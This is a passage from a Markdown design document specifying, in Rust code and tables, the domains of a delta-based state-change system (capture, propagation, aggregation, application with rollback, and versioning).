String);\n\n /// Observer configuration and state\n #[derive(Clone, Debug)]\n pub struct Observer {\n pub id: ObserverId,\n pub source_id: SourceId,\n pub capture_policy: CapturePolicy,\n pub status: ObserverStatus,\n pub last_capture: Option,\n pub metrics: ObserverMetrics,\n }\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct ObserverId(pub u64);\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum ObserverStatus {\n Active,\n Paused,\n Error,\n Terminated,\n }\n\n #[derive(Clone, Debug)]\n pub struct CapturePolicy {\n /// Minimum time between captures (milliseconds)\n pub min_interval_ms: u64,\n /// Minimum magnitude threshold for capture\n pub magnitude_threshold: f32,\n /// Maximum deltas to buffer before force-flush\n pub buffer_limit: usize,\n /// Whether to capture zero-deltas as heartbeats\n pub capture_heartbeats: bool,\n }\n\n impl Default for CapturePolicy {\n fn default() -> Self {\n Self {\n min_interval_ms: 100,\n magnitude_threshold: 1e-6,\n buffer_limit: 1000,\n capture_heartbeats: false,\n }\n }\n }\n\n #[derive(Clone, Debug, Default)]\n pub struct ObserverMetrics {\n pub deltas_captured: u64,\n pub deltas_filtered: u64,\n pub bytes_processed: u64,\n pub avg_magnitude: f32,\n pub last_error: Option,\n }\n\n // ============================================================\n // DELTA AGGREGATE ROOT\n // ============================================================\n\n /// The core Delta entity - immutable once created\n #[derive(Clone, Debug, Serialize, Deserialize)]\n pub struct Delta {\n /// Unique identifier\n pub id: DeltaId,\n /// Source that produced this delta\n pub source_id: SourceId,\n /// Causal timestamp\n pub timestamp: DeltaTimestamp,\n /// Previous delta in the chain (None for genesis)\n pub parent_id: Option,\n /// The actual change data\n pub vector: DeltaVector,\n /// Integrity checksum (chained with parent)\n pub checksum: DeltaChecksum,\n /// Additional metadata\n pub metadata: HashMap,\n }\n\n impl Delta {\n /// Create a new delta\n pub fn new(\n source_id: SourceId,\n timestamp: DeltaTimestamp,\n parent: Option<&Delta>,\n vector: DeltaVector,\n metadata: HashMap,\n ) -> Self {\n let id = DeltaId::new();\n let parent_id = parent.map(|p| p.id);\n\n let payload = vector.to_bytes();\n let checksum = match parent {\n Some(p) => p.checksum.chain(&p.checksum, &payload),\n None => DeltaChecksum::compute(&payload),\n };\n\n Self {\n id,\n source_id,\n timestamp,\n parent_id,\n vector,\n checksum,\n metadata,\n }\n }\n\n /// Verify checksum chain integrity\n pub fn verify_chain(&self, parent: Option<&Delta>) -> bool {\n let payload = self.vector.to_bytes();\n let expected = match parent {\n Some(p) => p.checksum.chain(&p.checksum, &payload),\n None => DeltaChecksum::compute(&payload),\n };\n self.checksum == expected\n }\n\n /// Check if this delta is a descendant of another\n pub fn is_descendant_of(&self, ancestor_id: DeltaId) -> bool {\n self.parent_id == Some(ancestor_id)\n }\n }\n}\n```\n\n#### Domain Events\n\n| Event | Payload | Published When |\n|-------|---------|----------------|\n| `ChangeDetected` | source_id, old_state_hash, new_state_hash | Observer detects state modification |\n| `DeltaExtracted` | delta_id, source_id, magnitude | Delta computed from change |\n| `DeltaCaptured` | delta_id, timestamp, checksum | Delta committed to capture buffer |\n| `CaptureBufferFlushed` | delta_count, batch_id | Buffer contents sent downstream |\n| `ObserverError` | observer_id, error_type, message | Capture failure |\n| `ObserverPaused` | observer_id, reason | Observer temporarily stopped |\n\n#### Domain Services\n\n```rust\n/// Domain services for Delta Capture\npub mod capture_services {\n use super::delta_capture::*;\n\n /// Trait for change detection algorithms\n pub trait ChangeDetector: Send + Sync {\n /// Compare states and determine if change is significant\n fn detect(&self, old: &[f32], new: &[f32], policy: &CapturePolicy) -> bool;\n\n /// Get detector configuration\n fn config(&self) -> DetectorConfig;\n }\n\n #[derive(Clone, Debug)]\n pub struct DetectorConfig {\n pub algorithm: String,\n pub threshold: f32,\n pub use_cosine: bool,\n }\n\n /// Default detector using L2 norm threshold\n pub struct L2ThresholdDetector {\n pub threshold: f32,\n }\n\n impl ChangeDetector for L2ThresholdDetector {\n fn detect(&self, old: &[f32], new: &[f32], policy: &CapturePolicy) -> bool {\n let magnitude = DeltaMagnitude::compute(old, new);\n magnitude.l2_norm > self.threshold.max(policy.magnitude_threshold)\n }\n\n fn config(&self) -> DetectorConfig {\n DetectorConfig {\n algorithm: \"l2_threshold\".to_string(),\n threshold: self.threshold,\n use_cosine: false,\n }\n }\n }\n\n /// Trait for delta extraction\n pub trait DeltaExtractor: Send + Sync {\n /// Extract delta from state transition\n fn extract(\n &self,\n source_id: &SourceId,\n old_state: &[f32],\n new_state: &[f32],\n timestamp: DeltaTimestamp,\n parent: Option<&Delta>,\n ) -> Delta;\n }\n\n /// Default sparse delta extractor\n pub struct SparseDeltaExtractor {\n pub min_component_diff: f32,\n }\n\n impl DeltaExtractor for SparseDeltaExtractor {\n fn extract(\n &self,\n source_id: &SourceId,\n old_state: &[f32],\n new_state: &[f32],\n timestamp: DeltaTimestamp,\n parent: Option<&Delta>,\n ) -> Delta {\n let vector = DeltaVector::from_diff(old_state, new_state, self.min_component_diff);\n Delta::new(\n source_id.clone(),\n timestamp,\n parent,\n vector,\n std::collections::HashMap::new(),\n )\n }\n }\n\n /// Capture orchestration service\n pub trait CaptureService: Send + Sync {\n /// Register an observer for a source\n fn register_observer(\n &mut self,\n source_id: SourceId,\n policy: CapturePolicy,\n ) -> Result;\n\n /// Process a state change notification\n fn on_state_change(\n &mut self,\n observer_id: ObserverId,\n old_state: &[f32],\n new_state: &[f32],\n ) -> Result, CaptureError>;\n\n /// Flush buffered deltas\n fn flush(&mut self, observer_id: ObserverId) -> Result, CaptureError>;\n }\n\n #[derive(Debug)]\n pub enum CaptureError {\n ObserverNotFound(ObserverId),\n PolicyViolation(String),\n ExtractionFailed(String),\n BufferOverflow,\n }\n}\n```\n\n---\n\n### 3.2 Delta Propagation Domain\n\n**Purpose**: Route deltas through the system to interested subscribers with ordering guarantees.\n\n#### Ubiquitous Language\n\n| Term | Definition |\n|------|------------|\n| **Channel** | Named conduit for delta transmission |\n| **Subscriber** | Consumer registered to receive deltas from channels |\n| **Router** | Component that directs deltas to appropriate channels |\n| **RoutingPolicy** | Rules for delta channel assignment |\n| **Backpressure** | Flow control mechanism when subscribers are slow |\n| **DeliveryGuarantee** | At-least-once, at-most-once, or exactly-once semantics |\n\n#### Aggregate Roots\n\n```rust\n/// Delta Propagation Domain\npub mod delta_propagation {\n use super::delta_capture::*;\n use std::collections::{HashMap, HashSet};\n\n // ============================================================\n // VALUE OBJECTS\n // ============================================================\n\n #[derive(Clone, PartialEq, Eq, Hash, Debug)]\n pub struct ChannelId(pub String);\n\n #[derive(Clone, PartialEq, Eq, Hash, Debug)]\n pub struct SubscriberId(pub u64);\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum DeliveryGuarantee {\n /// Fire and forget\n AtMostOnce,\n /// Retry until acknowledged\n AtLeastOnce,\n /// Deduplicated delivery\n ExactlyOnce,\n }\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum SubscriberStatus {\n Active,\n Paused,\n Backpressured,\n Disconnected,\n }\n\n /// Filter for selective subscription\n #[derive(Clone, Debug)]\n pub struct SubscriptionFilter {\n /// Source patterns to match (glob-style)\n pub source_patterns: Vec,\n /// Minimum magnitude to receive\n pub min_magnitude: Option,\n /// Metadata key-value matches\n pub metadata_filters: HashMap,\n }\n\n impl SubscriptionFilter {\n pub fn matches(&self, delta: &Delta) -> bool {\n // Check source pattern\n let source_match = self.source_patterns.is_empty() ||\n self.source_patterns.iter().any(|pat| {\n glob_match(pat, &delta.source_id.0)\n });\n\n // Check magnitude\n let magnitude_match = self.min_magnitude\n .map(|min| delta.vector.magnitude.l2_norm >= min)\n .unwrap_or(true);\n\n // Check metadata\n let metadata_match = self.metadata_filters.iter().all(|(k, v)| {\n delta.metadata.get(k).map(|mv| mv == v).unwrap_or(false)\n });\n\n source_match && magnitude_match && metadata_match\n }\n }\n\n fn glob_match(pattern: &str, text: &str) -> bool {\n // Simple glob matching (* = any)\n if pattern == \"*\" { return true; }\n if pattern.contains('*') {\n let parts: Vec<&str> = pattern.split('*').collect();\n if parts.len() == 2 {\n return text.starts_with(parts[0]) && text.ends_with(parts[1]);\n }\n }\n pattern == text\n }\n\n // ============================================================\n // AGGREGATES\n // ============================================================\n\n /// Channel for delta distribution\n #[derive(Clone, Debug)]\n pub struct Channel {\n pub id: ChannelId,\n pub name: String,\n pub delivery_guarantee: DeliveryGuarantee,\n pub subscribers: HashSet,\n pub metrics: ChannelMetrics,\n pub created_at: u64,\n }\n\n #[derive(Clone, Debug, Default)]\n pub struct ChannelMetrics {\n pub deltas_published: u64,\n pub deltas_delivered: u64,\n pub avg_latency_ms: f32,\n pub subscriber_count: u32,\n }\n\n impl Channel {\n pub fn new(id: ChannelId, name: String, guarantee: DeliveryGuarantee) -> Self {\n Self {\n id,\n name,\n delivery_guarantee: guarantee,\n subscribers: HashSet::new(),\n metrics: ChannelMetrics::default(),\n created_at: std::time::SystemTime::now()\n .duration_since(std::time::UNIX_EPOCH)\n .unwrap()\n .as_secs(),\n }\n }\n\n pub fn add_subscriber(&mut self, sub_id: SubscriberId) -> bool {\n self.subscribers.insert(sub_id)\n }\n\n pub fn remove_subscriber(&mut self, sub_id: &SubscriberId) -> bool {\n self.subscribers.remove(sub_id)\n }\n }\n\n /// Subscriber registration\n #[derive(Clone, Debug)]\n pub struct Subscriber {\n pub id: SubscriberId,\n pub name: String,\n pub channels: HashSet,\n pub filter: SubscriptionFilter,\n pub status: SubscriberStatus,\n pub cursor: SubscriberCursor,\n pub metrics: SubscriberMetrics,\n }\n\n /// Tracks subscriber progress through delta stream\n #[derive(Clone, Debug)]\n pub struct SubscriberCursor {\n /// Last acknowledged delta per channel\n pub last_acked: HashMap,\n /// Last timestamp received\n pub last_timestamp: Option,\n /// Pending deltas awaiting acknowledgment\n pub pending_count: u32,\n }\n\n #[derive(Clone, Debug, Default)]\n pub struct SubscriberMetrics {\n pub deltas_received: u64,\n pub deltas_acked: u64,\n pub avg_processing_time_ms: f32,\n pub backpressure_events: u32,\n }\n\n /// Routing decision for a delta\n #[derive(Clone, Debug)]\n pub struct RoutingDecision {\n pub delta_id: DeltaId,\n pub target_channels: Vec,\n pub priority: RoutingPriority,\n pub ttl_ms: Option,\n }\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]\n pub enum RoutingPriority {\n Low = 0,\n Normal = 1,\n High = 2,\n Critical = 3,\n }\n\n /// Routing policy definition\n #[derive(Clone, Debug)]\n pub struct RoutingPolicy {\n pub id: String,\n pub source_pattern: String,\n pub target_channels: Vec,\n pub priority: RoutingPriority,\n pub conditions: Vec,\n }\n\n #[derive(Clone, Debug)]\n pub enum RoutingCondition {\n MinMagnitude(f32),\n MetadataEquals(String, String),\n MetadataExists(String),\n TimeOfDay { start_hour: u8, end_hour: u8 },\n }\n}\n```\n\n#### Domain Events\n\n| Event | Payload | Published When |\n|-------|---------|----------------|\n| `DeltaRouted` | delta_id, channel_ids, priority | Router assigns delta to channels |\n| `DeltaPublished` | delta_id, channel_id, subscriber_count | Delta sent to channel |\n| `DeltaDelivered` | delta_id, subscriber_id, latency_ms | Subscriber receives delta |\n| `DeltaAcknowledged` | delta_id, subscriber_id | Subscriber confirms processing |\n| `SubscriberBackpressured` | subscriber_id, pending_count | Subscriber overwhelmed |\n| `ChannelCreated` | channel_id, delivery_guarantee | New channel registered |\n| `SubscriptionChanged` | subscriber_id, added_channels, removed_channels | Subscription modified |\n\n#### Domain Services\n\n```rust\n/// Domain services for Delta Propagation\npub mod propagation_services {\n use super::delta_propagation::*;\n use super::delta_capture::*;\n\n /// Router service for delta distribution\n pub trait DeltaRouter: Send + Sync {\n /// Determine target channels for a delta\n fn route(&self, delta: &Delta) -> RoutingDecision;\n\n /// Register a routing policy\n fn add_policy(&mut self, policy: RoutingPolicy) -> Result<(), RouterError>;\n\n /// Remove a routing policy\n fn remove_policy(&mut self, policy_id: &str) -> Result<(), RouterError>;\n }\n\n /// Channel management service\n pub trait ChannelService: Send + Sync {\n /// Create a new channel\n fn create_channel(\n &mut self,\n id: ChannelId,\n name: String,\n guarantee: DeliveryGuarantee,\n ) -> Result;\n\n /// Publish delta to channel\n fn publish(&mut self, channel_id: &ChannelId, delta: Delta) -> Result;\n\n /// Get channel statistics\n fn get_metrics(&self, channel_id: &ChannelId) -> Option;\n }\n\n /// Subscription management service\n pub trait SubscriptionService: Send + Sync {\n /// Create subscriber\n fn subscribe(\n &mut self,\n name: String,\n channels: Vec,\n filter: SubscriptionFilter,\n ) -> Result;\n\n /// Acknowledge delta receipt\n fn acknowledge(\n &mut self,\n subscriber_id: SubscriberId,\n delta_id: DeltaId,\n ) -> Result<(), SubscriptionError>;\n\n /// Get pending deltas for subscriber\n fn poll(\n &self,\n subscriber_id: SubscriberId,\n max_count: usize,\n ) -> Result, SubscriptionError>;\n }\n\n #[derive(Debug)]\n pub enum RouterError {\n PolicyConflict(String),\n InvalidPattern(String),\n }\n\n #[derive(Debug)]\n pub enum ChannelError {\n NotFound(ChannelId),\n AlreadyExists(ChannelId),\n PublishFailed(String),\n }\n\n #[derive(Debug)]\n pub enum SubscriptionError {\n SubscriberNotFound(SubscriberId),\n ChannelNotFound(ChannelId),\n Backpressured,\n InvalidFilter(String),\n }\n}\n```\n\n---\n\n### 3.3 Delta Aggregation Domain\n\n**Purpose**: Combine, batch, and compress deltas for efficient storage and transmission.\n\n#### Ubiquitous Language\n\n| Term | Definition |\n|------|------------|\n| **DeltaWindow** | Temporal container grouping deltas by time or count |\n| **Batch** | Collection of deltas packaged for bulk processing |\n| **Compaction** | Process of merging sequential deltas into fewer |\n| **Compression** | Reducing delta byte size through encoding |\n| **WindowPolicy** | Rules for window boundaries (time, count, size) |\n| **AggregatedDelta** | Result of combining multiple deltas |\n\n#### Aggregate Roots\n\n```rust\n/// Delta Aggregation Domain\npub mod delta_aggregation {\n use super::delta_capture::*;\n use std::collections::HashMap;\n\n // ============================================================\n // VALUE OBJECTS\n // ============================================================\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct WindowId(pub u64);\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct BatchId(pub u64);\n\n /// Window boundary policy\n #[derive(Clone, Debug)]\n pub struct WindowPolicy {\n /// Maximum time span in milliseconds\n pub max_duration_ms: u64,\n /// Maximum delta count\n pub max_count: usize,\n /// Maximum aggregate size in bytes\n pub max_bytes: usize,\n /// Force window close on these events\n pub close_on_metadata: Vec,\n }\n\n impl Default for WindowPolicy {\n fn default() -> Self {\n Self {\n max_duration_ms: 1000,\n max_count: 100,\n max_bytes: 1024 * 1024, // 1MB\n close_on_metadata: vec![],\n }\n }\n }\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum WindowStatus {\n Open,\n Closing,\n Closed,\n Compacted,\n }\n\n // ============================================================\n // AGGREGATES\n // ============================================================\n\n /// Temporal window for delta collection\n #[derive(Clone, Debug)]\n pub struct DeltaWindow {\n pub id: WindowId,\n pub source_id: SourceId,\n pub policy: WindowPolicy,\n pub status: WindowStatus,\n /// Deltas in this window (ordered by timestamp)\n pub deltas: Vec,\n /// Window start timestamp\n pub started_at: DeltaTimestamp,\n /// Window close timestamp (if closed)\n pub closed_at: Option,\n /// Aggregate metrics\n pub metrics: WindowMetrics,\n }\n\n #[derive(Clone, Debug, Default)]\n pub struct WindowMetrics {\n pub delta_count: u32,\n pub total_bytes: u64,\n pub total_magnitude: f32,\n pub dimensions_touched: u32,\n }\n\n impl DeltaWindow {\n pub fn new(id: WindowId, source_id: SourceId, policy: WindowPolicy, start: DeltaTimestamp) -> Self {\n Self {\n id,\n source_id,\n policy,\n status: WindowStatus::Open,\n deltas: Vec::new(),\n started_at: start,\n closed_at: None,\n metrics: WindowMetrics::default(),\n }\n }\n\n /// Check if window should close\n pub fn should_close(&self, current_time_ms: u64) -> bool {\n if self.status != WindowStatus::Open {\n return false;\n }\n\n // Time limit\n let elapsed = current_time_ms - self.started_at.physical;\n if elapsed >= self.policy.max_duration_ms {\n return true;\n }\n\n // Count limit\n if self.deltas.len() >= self.policy.max_count {\n return true;\n }\n\n // Size limit\n if self.metrics.total_bytes as usize >= self.policy.max_bytes {\n return true;\n }\n\n false\n }\n\n /// Add delta to window\n pub fn add(&mut self, delta: Delta) -> Result<(), WindowError> {\n if self.status != WindowStatus::Open {\n return Err(WindowError::WindowClosed);\n }\n\n // Check for close-on-metadata triggers\n for key in &self.policy.close_on_metadata {\n if delta.metadata.contains_key(key) {\n self.status = WindowStatus::Closing;\n }\n }\n\n let delta_bytes = delta.vector.to_bytes().len() as u64;\n self.metrics.delta_count += 1;\n self.metrics.total_bytes += delta_bytes;\n self.metrics.total_magnitude += delta.vector.magnitude.l2_norm;\n self.metrics.dimensions_touched = self.metrics.dimensions_touched\n .max(delta.vector.magnitude.dimensions_changed);\n\n self.deltas.push(delta);\n Ok(())\n }\n\n /// Close the window\n pub fn close(&mut self, timestamp: DeltaTimestamp) {\n self.status = WindowStatus::Closed;\n self.closed_at = Some(timestamp);\n }\n\n /// Compact all deltas into an aggregated delta\n pub fn compact(&mut self) -> Option {\n if self.deltas.is_empty() {\n return None;\n }\n\n // Compose all deltas\n let mut composed = self.deltas[0].vector.clone();\n for delta in self.deltas.iter().skip(1) {\n composed = composed.compose(&delta.vector);\n }\n\n let first = self.deltas.first().unwrap();\n let last = self.deltas.last().unwrap();\n\n self.status = WindowStatus::Compacted;\n\n Some(AggregatedDelta {\n window_id: self.id,\n source_id: self.source_id.clone(),\n first_delta_id: first.id,\n last_delta_id: last.id,\n delta_count: self.deltas.len() as u32,\n composed_vector: composed,\n time_span: TimeSpan {\n start: first.timestamp,\n end: last.timestamp,\n },\n compression_ratio: self.compute_compression_ratio(&composed),\n })\n }\n\n fn compute_compression_ratio(&self, composed: &DeltaVector) -> f32 {\n let original_bytes: usize = self.deltas.iter()\n .map(|d| d.vector.to_bytes().len())\n .sum();\n let composed_bytes = composed.to_bytes().len();\n\n if composed_bytes > 0 {\n original_bytes as f32 / composed_bytes as f32\n } else {\n 1.0\n }\n }\n }\n\n /// Result of window compaction\n #[derive(Clone, Debug)]\n pub struct AggregatedDelta {\n pub window_id: WindowId,\n pub source_id: SourceId,\n pub first_delta_id: DeltaId,\n pub last_delta_id: DeltaId,\n pub delta_count: u32,\n pub composed_vector: DeltaVector,\n pub time_span: TimeSpan,\n pub compression_ratio: f32,\n }\n\n #[derive(Clone, Debug)]\n pub struct TimeSpan {\n pub start: DeltaTimestamp,\n pub end: DeltaTimestamp,\n }\n\n /// Batch of deltas for bulk operations\n #[derive(Clone, Debug)]\n pub struct DeltaBatch {\n pub id: BatchId,\n pub deltas: Vec,\n pub created_at: u64,\n pub checksum: DeltaChecksum,\n }\n\n impl DeltaBatch {\n pub fn new(deltas: Vec) -> Self {\n let id = BatchId(rand::random());\n\n // Compute batch checksum\n let mut data = Vec::new();\n for delta in &deltas {\n data.extend(&delta.id.to_bytes());\n }\n let checksum = DeltaChecksum::compute(&data);\n\n Self {\n id,\n deltas,\n created_at: std::time::SystemTime::now()\n .duration_since(std::time::UNIX_EPOCH)\n .unwrap()\n .as_secs(),\n checksum,\n }\n }\n\n pub fn len(&self) -> usize {\n self.deltas.len()\n }\n\n pub fn is_empty(&self) -> bool {\n self.deltas.is_empty()\n }\n }\n\n #[derive(Debug)]\n pub enum WindowError {\n WindowClosed,\n PolicyViolation(String),\n }\n}\n```\n\n#### Domain Events\n\n| Event | Payload | Published When |\n|-------|---------|----------------|\n| `WindowOpened` | window_id, source_id, policy | New aggregation window started |\n| `WindowClosed` | window_id, delta_count, duration_ms | Window reached boundary |\n| `WindowCompacted` | window_id, compression_ratio | Deltas merged within window |\n| `BatchCreated` | batch_id, delta_count, checksum | Batch assembled |\n| `BatchCompressed` | batch_id, original_size, compressed_size | Batch compressed for storage |\n| `AggregationPolicyChanged` | source_id, old_policy, new_policy | Window policy updated |\n\n---\n\n### 3.4 Delta Application Domain\n\n**Purpose**: Apply deltas to target states with validation and transformation.\n\n#### Ubiquitous Language\n\n| Term | Definition |\n|------|------------|\n| **Applicator** | Component that applies deltas to target state |\n| **Target** | State vector being modified by deltas |\n| **Validator** | Component that verifies delta applicability |\n| **Transformer** | Component that modifies deltas before application |\n| **ApplicationResult** | Outcome of delta application (success/failure) |\n| **Rollback** | Reverting applied deltas |\n\n#### Aggregate Roots\n\n```rust\n/// Delta Application Domain\npub mod delta_application {\n use super::delta_capture::*;\n use std::collections::HashMap;\n\n // ============================================================\n // VALUE OBJECTS\n // ============================================================\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct TargetId(pub u64);\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum ApplicationStatus {\n Pending,\n Applied,\n Failed,\n RolledBack,\n }\n\n #[derive(Clone, Debug)]\n pub enum ValidationResult {\n Valid,\n Invalid { reason: String },\n Warning { message: String },\n }\n\n #[derive(Clone, Copy, Debug, PartialEq, Eq)]\n pub enum ConflictResolution {\n /// Last write wins\n LastWriteWins,\n /// First write wins\n FirstWriteWins,\n /// Merge by averaging\n Merge,\n /// Reject on conflict\n Reject,\n /// Custom resolution function\n Custom,\n }\n\n // ============================================================\n // AGGREGATES\n // ============================================================\n\n /// Target state that receives delta applications\n #[derive(Clone, Debug)]\n pub struct DeltaTarget {\n pub id: TargetId,\n pub source_id: SourceId,\n /// Current state vector\n pub state: Vec,\n /// Last applied delta\n pub last_delta_id: Option,\n /// Last application timestamp\n pub last_applied_at: Option,\n /// Application policy\n pub policy: ApplicationPolicy,\n /// Application history (ring buffer)\n pub history: ApplicationHistory,\n }\n\n #[derive(Clone, Debug)]\n pub struct ApplicationPolicy {\n /// How to handle conflicts\n pub conflict_resolution: ConflictResolution,\n /// Maximum magnitude allowed per delta\n pub max_magnitude: Option,\n /// Dimensions that are read-only\n pub locked_dimensions: Vec,\n /// Whether to validate checksum chain\n pub verify_chain: bool,\n /// Maximum history entries to keep\n pub history_limit: usize,\n }\n\n impl Default for ApplicationPolicy {\n fn default() -> Self {\n Self {\n conflict_resolution: ConflictResolution::LastWriteWins,\n max_magnitude: None,\n locked_dimensions: vec![],\n verify_chain: true,\n history_limit: 1000,\n }\n }\n }\n\n /// Ring buffer of recent applications\n #[derive(Clone, Debug)]\n pub struct ApplicationHistory {\n pub entries: Vec,\n pub capacity: usize,\n pub head: usize,\n }\n\n #[derive(Clone, Debug)]\n pub struct ApplicationEntry {\n pub delta_id: DeltaId,\n pub applied_at: DeltaTimestamp,\n pub status: ApplicationStatus,\n /// Delta for rollback (inverted)\n pub rollback_delta: Option,\n }\n\n impl ApplicationHistory {\n pub fn new(capacity: usize) -> Self {\n Self {\n entries: Vec::with_capacity(capacity),\n capacity,\n head: 0,\n }\n }\n\n pub fn push(&mut self, entry: ApplicationEntry) {\n if self.entries.len() < self.capacity {\n self.entries.push(entry);\n } else {\n self.entries[self.head] = entry;\n }\n self.head = (self.head + 1) % self.capacity;\n }\n\n pub fn last(&self) -> Option<&ApplicationEntry> {\n if self.entries.is_empty() {\n None\n } else {\n let idx = if self.head == 0 {\n self.entries.len() - 1\n } else {\n self.head - 1\n };\n self.entries.get(idx)\n }\n }\n\n /// Get entries for rollback (most recent first)\n pub fn rollback_entries(&self, count: usize) -> Vec<&ApplicationEntry> {\n let mut result = Vec::with_capacity(count);\n let len = self.entries.len().min(count);\n\n for i in 0..len {\n let idx = if self.head >= i + 1 {\n self.head - i - 1\n } else {\n self.entries.len() - (i + 1 - self.head)\n };\n if let Some(entry) = self.entries.get(idx) {\n if entry.status == ApplicationStatus::Applied {\n result.push(entry);\n }\n }\n }\n\n result\n }\n }\n\n impl DeltaTarget {\n pub fn new(\n id: TargetId,\n source_id: SourceId,\n initial_state: Vec,\n policy: ApplicationPolicy,\n ) -> Self {\n Self {\n id,\n source_id,\n state: initial_state,\n last_delta_id: None,\n last_applied_at: None,\n policy: policy.clone(),\n history: ApplicationHistory::new(policy.history_limit),\n }\n }\n\n /// Validate a delta before application\n pub fn validate(&self, delta: &Delta) -> ValidationResult {\n // Check source matches\n if delta.source_id != self.source_id {\n return ValidationResult::Invalid {\n reason: \"Source ID mismatch\".to_string(),\n };\n }\n\n // Check dimensions match\n if delta.vector.total_dims as usize != self.state.len() {\n return ValidationResult::Invalid {\n reason: format!(\n \"Dimension mismatch: delta has {} dims, target has {}\",\n delta.vector.total_dims, self.state.len()\n ),\n };\n }\n\n // Check magnitude limit\n if let Some(max_mag) = self.policy.max_magnitude {\n if delta.vector.magnitude.l2_norm > max_mag {\n return ValidationResult::Invalid {\n reason: format!(\n \"Magnitude {} exceeds limit {}\",\n delta.vector.magnitude.l2_norm, max_mag\n ),\n };\n }\n }\n\n // Check locked dimensions\n for &locked_dim in &self.policy.locked_dimensions {\n if delta.vector.indices.contains(&locked_dim) {\n return ValidationResult::Invalid {\n reason: format!(\"Dimension {} is locked\", locked_dim),\n };\n }\n }\n\n // Check causal ordering (parent should be our last applied)\n if self.policy.verify_chain {\n if let Some(expected_parent) = self.last_delta_id {\n if delta.parent_id != Some(expected_parent) {\n return ValidationResult::Warning {\n message: format!(\n \"Non-sequential delta: expected parent {:?}, got {:?}\",\n expected_parent, delta.parent_id\n ),\n };\n }\n }\n }\n\n ValidationResult::Valid\n }\n\n /// Apply a delta to the target state\n pub fn apply(&mut self, delta: &Delta) -> Result {\n // Validate first\n match self.validate(delta) {\n ValidationResult::Invalid { reason } => {\n return Err(ApplicationError::ValidationFailed(reason));\n }\n ValidationResult::Warning { message } => {\n // Log warning but continue\n eprintln!(\"Warning: {}\", message);\n }\n ValidationResult::Valid => {}\n }\n\n // Store rollback delta\n let rollback_delta = delta.vector.invert();\n\n // Apply the delta\n delta.vector.apply(&mut self.state);\n\n // Update metadata\n self.last_delta_id = Some(delta.id);\n self.last_applied_at = Some(delta.timestamp);\n\n // Record in history\n self.history.push(ApplicationEntry {\n delta_id: delta.id,\n applied_at: delta.timestamp,\n status: ApplicationStatus::Applied,\n rollback_delta: Some(rollback_delta),\n });\n\n Ok(ApplicationResult {\n delta_id: delta.id,\n target_id: self.id,\n status: ApplicationStatus::Applied,\n new_state_hash: self.compute_state_hash(),\n })\n }\n\n /// Rollback the last N applied deltas\n pub fn rollback(&mut self, count: usize) -> Result, ApplicationError> {\n let entries = self.history.rollback_entries(count);\n\n if entries.is_empty() {\n return Err(ApplicationError::NothingToRollback);\n }\n\n let mut rolled_back = Vec::with_capacity(entries.len());\n\n for entry in entries {\n if let Some(ref rollback_delta) = entry.rollback_delta {\n rollback_delta.apply(&mut self.state);\n rolled_back.push(entry.delta_id);\n }\n }\n\n // Update last_delta_id to the one before rollback\n self.last_delta_id = self.history.entries\n .iter()\n .filter(|e| e.status == ApplicationStatus::Applied && !rolled_back.contains(&e.delta_id))\n .last()\n .map(|e| e.delta_id);\n\n Ok(rolled_back)\n }\n\n fn compute_state_hash(&self) -> [u8; 32] {\n use sha2::{Sha256, Digest};\n let mut hasher = Sha256::new();\n for val in &self.state {\n hasher.update(&val.to_le_bytes());\n }\n let result = hasher.finalize();\n let mut hash = [0u8; 32];\n hash.copy_from_slice(&result);\n hash\n }\n }\n\n #[derive(Clone, Debug)]\n pub struct ApplicationResult {\n pub delta_id: DeltaId,\n pub target_id: TargetId,\n pub status: ApplicationStatus,\n pub new_state_hash: [u8; 32],\n }\n\n #[derive(Debug)]\n pub enum ApplicationError {\n ValidationFailed(String),\n TargetNotFound(TargetId),\n ConflictDetected { delta_id: DeltaId, reason: String },\n NothingToRollback,\n StateCurrupted(String),\n }\n}\n```\n\n#### Domain Events\n\n| Event | Payload | Published When |\n|-------|---------|----------------|\n| `DeltaApplied` | delta_id, target_id, new_state_hash | Delta successfully applied |\n| `DeltaRejected` | delta_id, target_id, reason | Delta failed validation |\n| `DeltaConflictDetected` | delta_id, conflicting_delta_id | Concurrent modification detected |\n| `DeltaMerged` | delta_ids, merged_delta_id | Conflict resolved by merging |\n| `DeltaRolledBack` | delta_ids, target_id | Deltas reverted |\n| `TargetStateCorrupted` | target_id, expected_hash, actual_hash | Integrity check failed |\n\n---\n\n### 3.5 Delta Versioning Domain\n\n**Purpose**: Manage temporal ordering, history, branching, and state reconstruction.\n\n#### Ubiquitous Language\n\n| Term | Definition |\n|------|------------|\n| **DeltaStream** | Linear sequence of causally-ordered deltas |\n| **DeltaGraph** | DAG of deltas supporting branches and merges |\n| **Snapshot** | Full state capture at a specific version |\n| **Branch** | Named divergence from main delta stream |\n| **Merge** | Combining two branches into one |\n| **Replay** | Reconstructing state by applying deltas from a point |\n\n#### Aggregate Roots\n\n```rust\n/// Delta Versioning Domain\npub mod delta_versioning {\n use super::delta_capture::*;\n use super::delta_aggregation::*;\n use std::collections::{HashMap, HashSet, BTreeMap};\n\n // ============================================================\n // VALUE OBJECTS\n // ============================================================\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct StreamId(pub u64);\n\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)]\n pub struct SnapshotId(pub u64);\n\n #[derive(Clone, PartialEq, Eq, Hash, Debug)]\n pub struct BranchId(pub String);\n\n /// Version identifier (sequence number in stream)\n #[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]\n pub struct Version(pub u64);\n\n impl Version {\n pub fn next(&self) -> Self {\n Self(self.0 + 1)\n }\n\n pub fn genesis() -> Self {\n Self(0)\n }\n }\n\n // ============================================================\n // AGGREGATES\n // ============================================================\n\n /// Linear delta stream (append-only log)\n #[derive(Clone, Debug)]\n pub struct DeltaStream {\n pub id: StreamId,\n 